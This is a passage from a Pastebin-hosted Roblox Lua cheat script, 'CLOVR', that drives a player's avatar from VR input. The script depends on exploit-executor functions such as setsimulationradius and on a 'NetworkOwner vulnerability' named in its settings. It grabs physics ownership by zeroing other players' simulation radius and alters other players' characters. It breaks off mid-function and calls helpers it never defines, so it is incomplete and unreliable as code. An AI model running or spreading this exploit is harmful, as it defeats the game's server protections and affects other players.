FE VR SCRIPT 3/9/2022 - Pastebin.com (2024)

  1. spawn(function()

  2. while game:GetService("RunService").Heartbeat:Wait() do

  3. local chr = game.Players.LocalPlayer.Character

  4. for _,v in pairs(chr:GetChildren()) do

  5. if v:IsA("BallSocketConstraint") or v:IsA("HingeConstraint") or v.Name == "Controls" or v.Name == "Local Ragdoll" or v.Name == "State Handler" or v.Name == "FirstPerson" or v.Name == "FakeAdmin" then

  6. v:Destroy()

  7. end

  8. end

  9. end

  10. end)

  11. game["Run Service"].RenderStepped:connect(function()

  12. settings().Physics.AllowSleep = false

  13. setsimulationradius(math.huge*math.huge,math.huge*math.huge)

  14. end)

  15. -- CLOVR - FE FULL-BODY VR SCRIPT

  16. -- April 21st Update - TOOL HOLDING ADDED

  17. -- | made by 0866 and Abacaxl

  18. -- | tysm unverified

  19. --RagDollEnabled is set to true, DON'T set it to false or CLOVR won't work. Feel free to change the other settings though. -Abacaxl

  20. --|| Settings:

  21. local StudsOffset = 0 -- Character height (negative if you're too high)

  22. local Smoothness = .5 -- Character interpolation (0.1 - 1 = smooth - rigid)

  23. local AnchorCharacter = true -- Prevent physics from causing inconsistencies

  24. local HideCharacter = false -- Hide character on a platform

  25. local NoCollision = true -- Disable player collision

  26. local ChatEnabled = true -- See chat on your left hand in-game

  27. local ChatLocalRange = 75 -- Local chat range

  28. local ViewportEnabled = true -- View nearby players in a frame

  29. local ViewportRange = 30 -- Maximum distance players are updated

  30. local RagdollEnabled = true -- Use your character instead of hats (NetworkOwner vulnerability)

  31. local RagdollHeadMovement = true -- Move your head separately from your body (+9 second wait)

  32. local AutoRun = false -- Run script on respawn

  33. local AutoRespawn = true -- Kill your real body when your virtual body dies

  34. local WearAllAccessories = true -- Use all leftover hats for the head

  35. local AccurateHandPosition = true -- Move your Roblox hands according to your real hands

  36. local AccessorySettings = {

  37. LeftArm = "";

  38. RightArm = "";

  39. LeftLeg = "";

  40. RightLeg = "";

  41. Torso = "";

  42. Head = true;

  43. BlockArms = true;

  44. BlockLegs = true;

  45. BlockTorso = true;

  46. LimbOffset = CFrame.Angles(math.rad(90), 0, 0);

  47. }

  48. local FootPlacementSettings = {

  49. RightOffset = Vector3.new(.5, 0, 0),

  50. LeftOffset = Vector3.new(-.5, 0, 0),

  51. }

  52. --|| Script:

  53. local Script = nil;

  54. Script = function()

  55. --[[

  56. Variables

  57. --]]

  58. local Players = game:GetService("Players")

  59. local Client = Players.LocalPlayer

  60. local Character = Client.Character or Client.CharacterAdded:Wait()

  61. local WeldBase = Character:WaitForChild("HumanoidRootPart")

  62. local ArmBase = Character:FindFirstChild("RightHand") or Character:FindFirstChild("Right Arm") or WeldBase

  63. local Backpack = Client:WaitForChild("Backpack")

  64. local Mouse = Client:GetMouse()

  65. local Camera = workspace.CurrentCamera

  66. local VRService = game:GetService("VRService")

  67. local VRReady = VRService.VREnabled

  68. local UserInputService = game:GetService("UserInputService")

  69. local RunService = game:GetService("RunService")

  70. local HttpService = game:GetService("HttpService")

  71. local StarterGui = game:GetService("StarterGui")

  72. local HeadAccessories = {};

  73. local UsedAccessories = {};

  74. local Pointer = false;

  75. local Point1 = false;

  76. local Point2 = false;

  77. local VirtualRig = game:GetObjects("rbxassetid://4468539481")[1]

  78. local VirtualBody = game:GetObjects("rbxassetid://4464983829")[1]

  79. local Anchor = Instance.new("Part")

  80. Anchor.Anchored = true

  81. Anchor.Transparency = 1

  82. Anchor.CanCollide = false

  83. Anchor.Parent = workspace

  84. if RagdollEnabled then

  85. print("RagdollEnabled, thank you for using CLOVR!")

  86. local NetworkAccess = coroutine.create(function()

  87. settings().Physics.AllowSleep = false

  88. while true do game:GetService("RunService").RenderStepped:Wait()

  89. for _,Players in next, game:GetService("Players"):GetChildren() do

  90. if Players ~= game:GetService("Players").LocalPlayer then

  91. Players.MaximumSimulationRadius = 0.1 Players.SimulationRadius = 0 end end

  92. game:GetService("Players").LocalPlayer.MaximumSimulationRadius = math.pow(math.huge,math.huge)

  93. game:GetService("Players").LocalPlayer.SimulationRadius = math.huge*math.huge end end)

  94. coroutine.resume(NetworkAccess)

  95. end

  96. StarterGui:SetCore("VRLaserPointerMode", 3)

  97. --[[

  98. Character Protection

  99. --]]

  100. local CharacterCFrame = WeldBase.CFrame

  101. if not RagdollEnabled then

  102. Character.Humanoid.AnimationPlayed:Connect(function(Animation)

  103. Animation:Stop()

  104. end)

  105. for _, Track in next, Character.Humanoid:GetPlayingAnimationTracks() do

  106. Track:Stop()

  107. end

  108. if HideCharacter then

  109. local Platform = Instance.new("Part")

  110. Platform.Anchored = true

  111. Platform.Size = Vector3.new(100, 5, 100)

  112. Platform.CFrame = CFrame.new(0, 10000, 0)

  113. Platform.Transparency = 1

  114. Platform.Parent = workspace

  115. Character:MoveTo(Platform.Position + Vector3.new(0, 5, 0))

  116. wait(.5)

  117. end

  118. if AnchorCharacter then

  119. for _, Part in pairs(Character:GetChildren()) do

  120. if Part:IsA("BasePart") then

  121. Part.Anchored = true

  122. end

  123. end

  124. end

  125. end

  126. --[[

  127. Functions

  128. --]]

  129. function Tween(Object, Style, Direction, Time, Goal)

  130. local tweenInfo = TweenInfo.new(Time, Enum.EasingStyle[Style], Enum.EasingDirection[Direction])

  131. local tween = game:GetService("TweenService"):Create(Object, tweenInfo, Goal)

  132. tween.Completed:Connect(function()

  133. tween:Destroy()

  134. end)

  135. tween:Play()

  136. return tween

  137. end

  138. local function GetMotorForLimb(Limb)

  139. for _, Motor in next, Character:GetDescendants() do

  140. if Motor:IsA("Motor6D") and Motor.Part1 == Limb then

  141. return Motor

  142. end

  143. end

  144. end

  145. local function CreateAlignment(Limb, Part0)

  146. local Attachment0 = Instance.new("Attachment", Part0 or Anchor)

  147. local Attachment1 = Instance.new("Attachment", Limb)

  148. local Orientation = Instance.new("AlignOrientation")

  149. local Position = Instance.new("AlignPosition")

  150. Orientation.Attachment0 = Attachment1

  151. Orientation.Attachment1 = Attachment0

  152. Orientation.RigidityEnabled = false

  153. Orientation.MaxTorque = 20000

  154. Orientation.Responsiveness = 40

  155. Orientation.Parent = Character.HumanoidRootPart

  156. Position.Attachment0 = Attachment1

  157. Position.Attachment1 = Attachment0

  158. Position.RigidityEnabled = false

  159. Position.MaxForce = 40000

  160. Position.Responsiveness = 40

  161. Position.Parent = Character.HumanoidRootPart

  162. Limb.Massless = false

  163. local Motor = GetMotorForLimb(Limb)

  164. if Motor then

  165. Motor:Destroy()

  166. end

  167. return function(CF, Local)

  168. if Local then

  169. Attachment0.CFrame = CF

  170. else

  171. Attachment0.WorldCFrame = CF

  172. end

  173. end;

  174. end

  175. local function GetExtraTool()

  176. for _, Tool in next, Character:GetChildren() do

  177. if Tool:IsA("Tool") and not Tool.Name:match("LIMB_TOOL") then

  178. return Tool

  179. end

  180. end

  181. end

  182. local function GetGripForHandle(Handle)

  183. for _, Weld in next, Character:GetDescendants() do

  184. if Weld:IsA("Weld") and (Weld.Part0 == Handle or Weld.Part1 == Handle) then

  185. return Weld

  186. end

  187. end

  188. wait(.2)

  189. for _, Weld in next, Character:GetDescendants() do

  190. if Weld:IsA("Weld") and (Weld.Part0 == Handle or Weld.Part1 == Handle) then

  191. return Weld

  192. end

  193. end

  194. end

  195. local function CreateRightGrip(Handle)

  196. local RightGrip = Instance.new("Weld")

  197. RightGrip.Name = "RightGrip"

  198. RightGrip.Part1 = Handle

  199. RightGrip.Part0 = WeldBase

  200. RightGrip.Parent = WeldBase

  201. return RightGrip

  202. end

  203. local function CreateAccessory(Accessory, DeleteMeshes)

  204. if not Accessory then

  205. return

  206. end

  207. local HatAttachment = Accessory.Handle:FindFirstChildWhichIsA("Attachment")

  208. local HeadAttachment = VirtualRig:FindFirstChild(HatAttachment.Name, true)

  209. local BasePart = HeadAttachment.Parent

  210. local HatAtt = HatAttachment.CFrame

  211. local HeadAtt = HeadAttachment.CFrame

  212. if DeleteMeshes then

  213. if Accessory.Handle:FindFirstChild("Mesh") then

  214. Accessory.Handle.Mesh:Destroy()

  215. end

  216. end

  217. wait()

  218. local Handle = Accessory:WaitForChild("Handle")

  219. if Handle:FindFirstChildWhichIsA("Weld", true) then

  220. Handle:FindFirstChildWhichIsA("Weld", true):Destroy()

  221. Handle:BreakJoints()

  222. else

  223. Handle:BreakJoints()

  224. end

  225. Handle.Massless = true

  226. Handle.Transparency = 0.5

  227. UsedAccessories[Accessory] = true

  228. local RightGrip = CreateRightGrip(Handle)

  229. wait()

  230. for _, Object in pairs(Handle:GetDescendants()) do

  231. if not Object:IsA("BasePart") then

  232. pcall(function()

  233. Object.Transparency = 1

  234. end)

  235. pcall(function()

  236. Object.Enabled = false

  237. end)

  238. end

  239. end

  240. return Handle, RightGrip, HatAtt, HeadAtt, BasePart;

  241. end

  242. local function GetHeadAccessories()

  243. for _, Accessory in next, Character:GetChildren() do

  244. if Accessory:IsA("Accessory") and not UsedAccessories[Accessory] then

  245. local Handle, RightGrip, HatAtt, HeadAtt, BasePart = CreateAccessory(Accessory)

  246. table.insert(HeadAccessories, {Handle, RightGrip, HatAtt, HeadAtt, BasePart})

  247. do

  248. Handle.Transparency = 1

  249. end

  250. if not WearAllAccessories then

  251. break

  252. end

  253. end

  254. end

  255. end

  256. --[[

  257. VR Replication Setup

  258. --]]

  259. if not RagdollEnabled then

  260. LeftHandle, LeftHandGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.LeftArm), AccessorySettings.BlockArms)

  261. RightHandle, RightHandGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.RightArm), AccessorySettings.BlockArms)

  262. LeftHipHandle, LeftLegGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.LeftLeg), AccessorySettings.BlockLegs)

  263. RightHipHandle, RightLegGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.RightLeg), AccessorySettings.BlockLegs)

  264. TorsoHandle, TorsoGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.Torso), AccessorySettings.BlockTorso)

  265. GetHeadAccessories()

  266. elseif RagdollEnabled then

  267. if RagdollHeadMovement then

  268. Permadeath()

  269. MoveHead = CreateAlignment(Character["Head"])

  270. end

  271. MoveRightArm = CreateAlignment(Character["Right Arm"])

  272. MoveLeftArm = CreateAlignment(Character["Left Arm"])

  273. MoveRightLeg = CreateAlignment(Character["Right Leg"])

  274. MoveLeftLeg = CreateAlignment(Character["Left Leg"])

  275. MoveTorso = CreateAlignment(Character["Torso"])

  276. MoveRoot = CreateAlignment(Character.HumanoidRootPart)

  277. if RagdollHeadMovement then

  278. for _, Accessory in next, Character:GetChildren() do

  279. if Accessory:IsA("Accessory") and Accessory:FindFirstChild("Handle") then

  280. local Attachment1 = Accessory.Handle:FindFirstChildWhichIsA("Attachment")

  281. local Attachment0 = Character:FindFirstChild(tostring(Attachment1), true)

  282. local Orientation = Instance.new("AlignOrientation")

  283. local Position = Instance.new("AlignPosition")

  284. print(Attachment1, Attachment0, Accessory)

  285. Orientation.Attachment0 = Attachment1

  286. Orientation.Attachment1 = Attachment0

  287. Orientation.RigidityEnabled = false

  288. Orientation.ReactionTorqueEnabled = true

  289. Orientation.MaxTorque = 20000

  290. Orientation.Responsiveness = 40

  291. Orientation.Parent = Character.Head

  292. Position.Attachment0 = Attachment1

  293. Position.Attachment1 = Attachment0

  294. Position.RigidityEnabled = false

  295. Position.ReactionForceEnabled = true

  296. Position.MaxForce = 40000

  297. Position.Responsiveness = 40

  298. Position.Parent = Character.Head

  299. end

  300. end

  301. end

  302. end

  303. --[[

  304. Movement

  305. --]]

  306. VirtualRig.Name = "VirtualRig"

  307. VirtualRig.RightFoot.BodyPosition.Position = CharacterCFrame.p

  308. VirtualRig.LeftFoot.BodyPosition.Position = CharacterCFrame.p

  309. VirtualRig.Parent = workspace

  310. VirtualRig:SetPrimaryPartCFrame(CharacterCFrame)

  311. VirtualRig.Humanoid.Health = 0

  312. VirtualRig:BreakJoints()

  313. --

  314. VirtualBody.Parent = workspace

  315. VirtualBody.Name = "VirtualBody"

  316. VirtualBody.Humanoid.WalkSpeed = 8

  317. VirtualBody.Humanoid.CameraOffset = Vector3.new(0, StudsOffset, 0)

  318. VirtualBody:SetPrimaryPartCFrame(CharacterCFrame)

  319. VirtualBody.Humanoid.Died:Connect(function()

  320. print("Virtual death")

  321. if AutoRespawn then

  322. Character:BreakJoints()

  323. if RagdollHeadMovement and RagdollEnabled then

  324. Network:Unclaim()

  325. Respawn()

  326. end

  327. end

  328. end)

  329. --

  330. Camera.CameraSubject = VirtualBody.Humanoid

  331. Character.Humanoid.WalkSpeed = 0

  332. Character.Humanoid.JumpPower = 1

  333. for _, Part in next, VirtualBody:GetChildren() do

  334. if Part:IsA("BasePart") then

  335. Part.Transparency = 1

  336. end

  337. end

  338. for _, Part in next, VirtualRig:GetChildren() do

  339. if Part:IsA("BasePart") then

  340. Part.Transparency = 1

  341. end

  342. end

  343. if not VRReady then

  344. VirtualRig.RightUpperArm.ShoulderConstraint.RigidityEnabled = true

  345. VirtualRig.LeftUpperArm.ShoulderConstraint.RigidityEnabled = true

  346. end

  347. local OnMoving = RunService.Stepped:Connect(function()

  348. local Direction = Character.Humanoid.MoveDirection

  349. local Start = VirtualBody.HumanoidRootPart.Position

  350. local Point = Start + Direction * 6

  351. VirtualBody.Humanoid:MoveTo(Point)

  352. end)

  353. Character.Humanoid.Jumping:Connect(function()

  354. VirtualBody.Humanoid.Jump = true

  355. end)

  356. UserInputService.JumpRequest:Connect(function()

  357. VirtualBody.Humanoid.Jump = true

  358. end)

  359. --[[

  360. VR Replication

  361. --]]

  362. if RagdollEnabled then

  363. for _, Part in pairs(Character:GetDescendants()) do

  364. if Part:IsA("BasePart") and Part.Name == "Handle" and Part.Parent:IsA("Accessory") then

  365. Part.LocalTransparencyModifier = 1

  366. elseif Part:IsA("BasePart") and Part.Transparency < 0.5 and Part.Name ~= "Head" then

  367. Part.LocalTransparencyModifier = 0.5

  368. elseif Part:IsA("BasePart") and Part.Name == "Head" then

  369. Part.LocalTransparencyModifier = 1

  370. end

  371. if not Part:IsA("BasePart") and not Part:IsA("AlignPosition") and not Part:IsA("AlignOrientation") then

  372. pcall(function()

  373. Part.Transparency = 1

  374. end)

  375. pcall(function()

  376. Part.Enabled = false

  377. end)

  378. end

  379. end

  380. end

  381. local FootUpdateDebounce = tick()

  382. local function FloorRay(Part, Distance)

  383. local Position = Part.CFrame.p

  384. local Target = Position - Vector3.new(0, Distance, 0)

  385. local Line = Ray.new(Position, (Target - Position).Unit * Distance)

  386. local FloorPart, FloorPosition, FloorNormal = workspace:FindPartOnRayWithIgnoreList(Line, {VirtualRig, VirtualBody, Character})

  387. if FloorPart then

  388. return FloorPart, FloorPosition, FloorNormal, (FloorPosition - Position).Magnitude

  389. else

  390. return nil, Target, Vector3.new(), Distance

  391. end

  392. end

  393. local function Flatten(CF)

  394. local X,Y,Z = CF.X,CF.Y,CF.Z

  395. local LX,LZ = CF.lookVector.X,CF.lookVector.Z

  396. return CFrame.new(X,Y,Z) * CFrame.Angles(0,math.atan2(LX,LZ),0)

  397. end

  398. local FootTurn = 1

  399. local function FootReady(Foot, Target)

  400. local MaxDist

  401. if Character.Humanoid.MoveDirection.Magnitude > 0 then

  402. MaxDist = .5

  403. else

  404. MaxDist = 1

  405. end

  406. local PastThreshold = (Foot.Position - Target.Position).Magnitude > MaxDist

  407. local PastTick = tick() - FootUpdateDebounce >= 2

  408. if PastThreshold or PastTick then

  409. FootUpdateDebounce = tick()

  410. end

  411. return

  412. PastThreshold

  413. or

  414. PastTick

  415. end

  416. local function FootYield()

  417. local RightFooting = VirtualRig.RightFoot.BodyPosition

  418. local LeftFooting = VirtualRig.LeftFoot.BodyPosition

  419. local LowerTorso = VirtualRig.LowerTorso

  420. local Yield = tick()

  421. repeat

  422. RunService.Stepped:Wait()

  423. if

  424. (LowerTorso.Position - RightFooting.Position).Y > 4

  425. or

  426. (LowerTorso.Position - LeftFooting.Position).Y > 4

  427. or

  428. ((LowerTorso.Position - RightFooting.Position) * Vector3.new(1, 0, 1)).Magnitude > 4

  429. or

  430. ((LowerTorso.Position - LeftFooting.Position) * Vector3.new(1, 0, 1)).Magnitude > 4

  431. then

  432. break

  433. end

  434. until tick() - Yield >= .17

  435. end

  436. local function UpdateFooting()

  437. if not VirtualRig:FindFirstChild("LowerTorso") then

  438. wait()

  439. return

  440. end

  441. local Floor, FloorPosition, FloorNormal, Dist = FloorRay(VirtualRig.LowerTorso, 3)

  442. Dist = math.clamp(Dist, 0, 5)

  443. local FootTarget =

  444. VirtualRig.LowerTorso.CFrame *

  445. CFrame.new(FootPlacementSettings.RightOffset) -

  446. Vector3.new(0, Dist, 0) +

  447. Character.Humanoid.MoveDirection * (VirtualBody.Humanoid.WalkSpeed / 8) * 2

  448. if FootReady(VirtualRig.RightFoot, FootTarget) then

  449. VirtualRig.RightFoot.BodyPosition.Position = FootTarget.p

  450. VirtualRig.RightFoot.BodyGyro.CFrame = Flatten(VirtualRig.LowerTorso.CFrame)

  451. end

  452. FootYield()

  453. local FootTarget =

  454. VirtualRig.LowerTorso.CFrame *

  455. CFrame.new(FootPlacementSettings.LeftOffset) -

  456. Vector3.new(0, Dist, 0) +

  457. Character.Humanoid.MoveDirection * (VirtualBody.Humanoid.WalkSpeed / 8) * 2

  458. if FootReady(VirtualRig.LeftFoot, FootTarget) then

  459. VirtualRig.LeftFoot.BodyPosition.Position = FootTarget.p

  460. VirtualRig.LeftFoot.BodyGyro.CFrame = Flatten(VirtualRig.LowerTorso.CFrame)

  461. end

  462. end

  463. local function UpdateTorsoPosition()

  464. if not RagdollEnabled then

  465. if TorsoHandle then

  466. local Positioning = VirtualRig.UpperTorso.CFrame

  467. if not TorsoGrip or not TorsoGrip.Parent then

  468. TorsoGrip = CreateRightGrip(TorsoHandle)

  469. end

  470. local Parent = TorsoGrip.Parent

  471. TorsoGrip.C1 = CFrame.new()

  472. TorsoGrip.C0 = TorsoGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(Positioning * CFrame.new(0, -0.25, 0) * AccessorySettings.LimbOffset), Smoothness)

  473. TorsoGrip.Parent = nil

  474. TorsoGrip.Parent = Parent

  475. end

  476. else

  477. local Positioning = VirtualRig.UpperTorso.CFrame

  478. MoveTorso(Positioning * CFrame.new(0, -0.25, 0))

  479. MoveRoot(Positioning * CFrame.new(0, -0.25, 0))

  480. end

  481. end

  482. local function UpdateLegPosition()

  483. if not RagdollEnabled then

  484. if RightHipHandle then

  485. local Positioning =

  486. VirtualRig.RightLowerLeg.CFrame

  487. : Lerp(VirtualRig.RightFoot.CFrame, 0.5)

  488. + Vector3.new(0, 0.5, 0)

  489. if not RightHipHandle or not RightHipHandle.Parent then

  490. RightLegGrip = CreateRightGrip(RightHipHandle)

  491. end

  492. local Parent = RightLegGrip.Parent

  493. RightLegGrip.C1 = CFrame.new()

  494. RightLegGrip.C0 = RightLegGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(Positioning * AccessorySettings.LimbOffset), Smoothness)

  495. RightLegGrip.Parent = nil

  496. RightLegGrip.Parent = Parent

  497. end

  498. if LeftHipHandle then

  499. local Positioning =

  500. VirtualRig.LeftLowerLeg.CFrame

  501. : Lerp(VirtualRig.LeftFoot.CFrame, 0.5)

  502. + Vector3.new(0, 0.5, 0)

  503. if not LeftLegGrip or not LeftLegGrip.Parent then

  504. LeftLegGrip = CreateRightGrip(LeftHipHandle)

  505. end

  506. local Parent = LeftLegGrip.Parent

  507. LeftLegGrip.C1 = CFrame.new()

  508. LeftLegGrip.C0 = LeftLegGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(Positioning * AccessorySettings.LimbOffset), Smoothness)

  509. LeftLegGrip.Parent = nil

  510. LeftLegGrip.Parent = Parent

  511. end

  512. else

  513. do

  514. local Positioning =

  515. VirtualRig.RightLowerLeg.CFrame

  516. : Lerp(VirtualRig.RightFoot.CFrame, 0.5)

  517. * CFrame.Angles(0, math.rad(180), 0)

  518. + Vector3.new(0, 0.5, 0)

  519. MoveRightLeg(Positioning)

  520. end

  521. do

  522. local Positioning =

  523. VirtualRig.LeftLowerLeg.CFrame

  524. : Lerp(VirtualRig.LeftFoot.CFrame, 0.5)

  525. * CFrame.Angles(0, math.rad(180), 0)

  526. + Vector3.new(0, 0.5, 0)

  527. MoveLeftLeg(Positioning)

  528. end

  529. end

  530. end

  531. warn("VRReady is", VRReady)

  532. local function OnUserCFrameChanged(UserCFrame, Positioning, IgnoreTorso)

  533. local Positioning = Camera.CFrame * Positioning

  534. if not IgnoreTorso then

  535. UpdateTorsoPosition()

  536. UpdateLegPosition()

  537. end

  538. if not RagdollEnabled then

  539. if UserCFrame == Enum.UserCFrame.Head and AccessorySettings.Head then

  540. for _, Table in next, HeadAccessories do

  541. local Handle, RightGrip, HatAtt, HeadAtt, BasePart = unpack(Table)

  542. local LocalPositioning = Positioning

  543. if not RightGrip or not RightGrip.Parent then

  544. RightGrip = CreateRightGrip(Handle)

  545. Table[2] = RightGrip

  546. end

  547. local Parent = RightGrip.Parent

  548. if BasePart then

  549. LocalPositioning = BasePart.CFrame * HeadAtt

  550. end

  551. RightGrip.C1 = HatAtt

  552. RightGrip.C0 = RightGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(LocalPositioning), Smoothness)

  553. RightGrip.Parent = nil

  554. RightGrip.Parent = Parent

  555. end

  556. elseif RightHandle and UserCFrame == Enum.UserCFrame.RightHand and AccessorySettings.RightArm then

  557. local HandPosition = Positioning

  558. local LocalPositioning = Positioning

  559. if not RightHandGrip or not RightHandGrip.Parent then

  560. RightHandGrip = CreateRightGrip(RightHandle)

  561. end

  562. if AccurateHandPosition then

  563. HandPosition = HandPosition * CFrame.new(0, 0, 1)

  564. end

  565. if not VRReady then

  566. local HeadRotation = Camera.CFrame - Camera.CFrame.p

  567. HandPosition = VirtualRig.RightUpperArm.CFrame:Lerp(VirtualRig.RightLowerArm.CFrame, 0.5) * AccessorySettings.LimbOffset

  568. --LocalPositioning = (HeadRotation + (HandPosition * CFrame.new(0, 0, 1)).p) * CFrame.Angles(math.rad(-45), 0, 0)

  569. LocalPositioning = HandPosition * CFrame.new(0, 0, 1) * CFrame.Angles(math.rad(-180), 0, 0)

  570. if Point2 then

  571. VirtualRig.RightUpperArm.Aim.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)

  572. VirtualRig.RightUpperArm.Aim.CFrame = Camera.CFrame * AccessorySettings.LimbOffset

  573. elseif VirtualRig.RightUpperArm.Aim.MaxTorque ~= Vector3.new(0, 0, 0) then

  574. VirtualRig.RightUpperArm.Aim.MaxTorque = Vector3.new(0, 0, 0)

  575. end

  576. elseif AccurateHandPosition then

  577. LocalPositioning = HandPosition

  578. end

  579. local Parent = RightHandGrip.Parent

  580. RightHandGrip.C1 = CFrame.new()

  581. RightHandGrip.C0 = RightHandGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(HandPosition), Smoothness)

  582. RightHandGrip.Parent = nil

  583. RightHandGrip.Parent = Parent

  584. --

  585. local EquippedTool = GetExtraTool()

  586. if EquippedTool and EquippedTool:FindFirstChild("Handle") then

  587. local EquippedGrip = GetGripForHandle(EquippedTool.Handle)

  588. local Parent = EquippedGrip.Parent

  589. local ArmBaseCFrame = ArmBase.CFrame

  590. if ArmBase.Name == "Right Arm" then

  591. ArmBaseCFrame = ArmBaseCFrame

  592. end

  593. EquippedGrip.C1 = EquippedTool.Grip

  594. EquippedGrip.C0 = EquippedGrip.C0:Lerp(ArmBaseCFrame:ToObjectSpace(LocalPositioning), Smoothness)

  595. EquippedGrip.Parent = nil

  596. EquippedGrip.Parent = Parent

  597. end

  598. elseif LeftHandle and UserCFrame == Enum.UserCFrame.LeftHand and AccessorySettings.LeftArm then

  599. local HandPosition = Positioning

  600. if not LeftHandGrip or not LeftHandGrip.Parent then

  601. LeftHandGrip = CreateRightGrip(LeftHandle)

  602. end

  603. if AccurateHandPosition then

  604. HandPosition = HandPosition * CFrame.new(0, 0, 1)

  605. end

  606. if not VRReady then

  607. HandPosition = VirtualRig.LeftUpperArm.CFrame:Lerp(VirtualRig.LeftLowerArm.CFrame, 0.5) * AccessorySettings.LimbOffset

  608. --warn("Setting HandPosition to hands")

  609. if Point1 then

  610. VirtualRig.LeftUpperArm.Aim.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)

  611. VirtualRig.LeftUpperArm.Aim.CFrame = Camera.CFrame * AccessorySettings.LimbOffset

  612. elseif VirtualRig.LeftUpperArm.Aim.MaxTorque ~= Vector3.new(0, 0, 0) then

  613. VirtualRig.LeftUpperArm.Aim.MaxTorque = Vector3.new(0, 0, 0)

  614. end

  615. end

  616. local Parent = LeftHandGrip.Parent

  617. LeftHandGrip.C1 = CFrame.new()

  618. LeftHandGrip.C0 = LeftHandGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(HandPosition), Smoothness)

  619. LeftHandGrip.Parent = nil

  620. LeftHandGrip.Parent = Parent

  621. end

  622. end

  623. if RagdollEnabled then

  624. if UserCFrame == Enum.UserCFrame.Head and RagdollHeadMovement then

  625. MoveHead(Positioning)

  626. elseif UserCFrame == Enum.UserCFrame.RightHand then

  627. local Positioning = Positioning

  628. if not VRReady then

  629. Positioning = VirtualRig.RightUpperArm.CFrame:Lerp(VirtualRig.RightLowerArm.CFrame, 0.5)

  630. elseif AccurateHandPosition then

  631. Positioning = Positioning * CFrame.new(0, 0, 1)

  632. end

  633. if VRReady then

  634. Positioning = Positioning * AccessorySettings.LimbOffset

  635. end

  636. MoveRightArm(Positioning)

  637. if Point2 then

  638. VirtualRig.RightUpperArm.Aim.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)

  639. VirtualRig.RightUpperArm.Aim.CFrame = Camera.CFrame * AccessorySettings.LimbOffset

  640. elseif VirtualRig.RightUpperArm.Aim.MaxTorque ~= Vector3.new(0, 0, 0) then

  641. VirtualRig.RightUpperArm.Aim.MaxTorque = Vector3.new(0, 0, 0)

  642. end

  643. elseif UserCFrame == Enum.UserCFrame.LeftHand then

  644. local Positioning = Positioning

  645. if not VRReady then

  646. Positioning = VirtualRig.LeftUpperArm.CFrame:Lerp(VirtualRig.LeftLowerArm.CFrame, 0.5)

  647. elseif AccurateHandPosition then

  648. Positioning = Positioning * CFrame.new(0, 0, 1)

  649. end

  650. if VRReady then

  651. Positioning = Positioning * AccessorySettings.LimbOffset

  652. end

  653. MoveLeftArm(Positioning)

  654. if Point1 then

  655. VirtualRig.LeftUpperArm.Aim.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)

  656. VirtualRig.LeftUpperArm.Aim.CFrame = Camera.CFrame * AccessorySettings.LimbOffset

  657. elseif VirtualRig.LeftUpperArm.Aim.MaxTorque ~= Vector3.new(0, 0, 0) then

  658. VirtualRig.LeftUpperArm.Aim.MaxTorque = Vector3.new(0, 0, 0)

  659. end

  660. end

  661. end

  662. if UserCFrame == Enum.UserCFrame.Head then

  663. VirtualRig.Head.CFrame = Positioning

  664. elseif UserCFrame == Enum.UserCFrame.RightHand and VRReady then

  665. VirtualRig.RightHand.CFrame = Positioning

  666. elseif UserCFrame == Enum.UserCFrame.LeftHand and VRReady then

  667. VirtualRig.LeftHand.CFrame = Positioning

  668. end

  669. if not VRReady and VirtualRig.LeftHand.Anchored then

  670. VirtualRig.RightHand.Anchored = false

  671. VirtualRig.LeftHand.Anchored = false

  672. elseif VRReady and not VirtualRig.LeftHand.Anchored then

  673. VirtualRig.RightHand.Anchored = true

  674. VirtualRig.LeftHand.Anchored = true

  675. end

  676. end

  677. local CFrameChanged = VRService.UserCFrameChanged:Connect(OnUserCFrameChanged)

  678. local OnStepped = RunService.Stepped:Connect(function()

  679. for _, Part in pairs(VirtualRig:GetChildren()) do

  680. if Part:IsA("BasePart") then

  681. Part.CanCollide = false

  682. end

  683. end

  684. if RagdollEnabled then

  685. for _, Part in pairs(Character:GetChildren()) do

  686. if Part:IsA("BasePart") then

  687. Part.CanCollide = false

  688. end

  689. end

  690. end

  691. if NoCollision then

  692. for _, Player in pairs(Players:GetPlayers()) do

  693. if Player ~= Client and Player.Character then

  694. local Descendants = Player.Character:GetDescendants()

  695. for i = 1, #Descendants do

  696. local Part = Descendants[i]

  697. if Part:IsA("BasePart") then

  698. Part.CanCollide = false

  699. Part.Velocity = Vector3.new()

  700. Part.RotVelocity = Vector3.new()

  701. end

  702. end

  703. end

  704. end

  705. end

  706. end)

  707. local OnRenderStepped = RunService.Stepped:Connect(function()

  708. Camera.CameraSubject = VirtualBody.Humanoid

  709. if RagdollEnabled then

  710. Character.HumanoidRootPart.CFrame = VirtualRig.UpperTorso.CFrame

  711. Character.HumanoidRootPart.Velocity = Vector3.new(0, 0, 0)

  712. end

  713. if not VRReady then

  714. OnUserCFrameChanged(Enum.UserCFrame.Head, CFrame.new(0, 0, 0))

  715. OnUserCFrameChanged(Enum.UserCFrame.RightHand, CFrame.new(0, 0, 0), true)

  716. OnUserCFrameChanged(Enum.UserCFrame.LeftHand, CFrame.new(0, 0, 0), true)

  717. end

  718. end)

  719. spawn(function()

  720. while Character and Character.Parent do

  721. FootYield()

  722. UpdateFooting()

  723. end

  724. end)

  725. --[[

  726. Non-VR Support + VR Mechanics

  727. --]]

  728. local OnInput = UserInputService.InputBegan:Connect(function(Input, Processed)

  729. if not Processed then

  730. if Input.KeyCode == Enum.KeyCode.LeftControl or Input.KeyCode == Enum.KeyCode.ButtonL2 then

  731. Tween(VirtualBody.Humanoid, "Elastic", "Out", 1, {

  732. CameraOffset = Vector3.new(0, StudsOffset - 1.5, 0)

  733. })

  734. end

  735. if Input.KeyCode == Enum.KeyCode.X then

  736. if RagdollEnabled and RagdollHeadMovement then

  737. Network:Unclaim()

